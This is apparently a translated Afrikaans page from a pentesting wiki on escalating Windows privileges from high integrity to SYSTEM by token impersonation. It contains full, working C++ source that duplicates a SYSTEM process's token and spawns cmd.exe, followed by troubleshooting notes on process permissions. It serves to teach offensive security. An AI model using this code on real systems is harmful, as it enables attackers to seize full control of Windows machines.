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# SeImpersonate van Hoog na Stelsel
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### Kode
Die volgende kode van [hier](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Dit laat jou toe om **'n Proses ID as argument aan te dui** en 'n CMD **wat as die gebruiker** van die aangeduide proses loop, sal uitgevoer word.\
As jy in 'n Hoë Integriteit proses loop, kan jy **die PID van 'n proses wat as Stelsel loop** (soos winlogon, wininit) aan dui en 'n cmd.exe as stelsel uitvoer.
```cpp
impersonateuser.exe 1234
```
```cpp:impersonateuser.cpp
// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962
#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Grab PID from command line argument
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
// Initialize variables and structures
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Call OpenProcess(), print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}
```
### Fout
In sommige gevalle mag jy probeer om die Stelsel te verpersoonlik en dit sal nie werk nie, wat 'n uitvoer soos die volgende toon:
```cpp
[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326
```
Dit beteken dat selfs al werk jy op 'n Hoë Integriteit vlak **jy nie genoeg toestemming het**.\
Kom ons kyk na die huidige Administrateur toestemming oor `svchost.exe` prosesse met **processes explorer** (of jy kan ook process hacker gebruik):
1. Kies 'n proses van `svchost.exe`
2. Regsklik --> Eienskappe
3. Binne die "Sekuriteit" Tab klik onderaan regs op die knoppie "Toestemmings"
4. Klik op "Geavanceerd"
5. Kies "Administrateurs" en klik op "Wysig"
6. Klik op "Wys geavanceerde toestemmings"
![](<../../images/image (437).png>)
Die vorige beeld bevat al die voorregte wat "Administrateurs" oor die geselekteerde proses het (soos jy kan sien in die geval van `svchost.exe` het hulle net "Query" voorregte)
Kyk na die voorregte wat "Administrateurs" oor `winlogon.exe` het:
![](<../../images/image (1102).png>)
Binne daardie proses kan "Administrateurs" "Lees Geheue" en "Lees Toestemmings" wat waarskynlik Administrateurs toelaat om die token wat deur hierdie proses gebruik word, te verteenwoordig.
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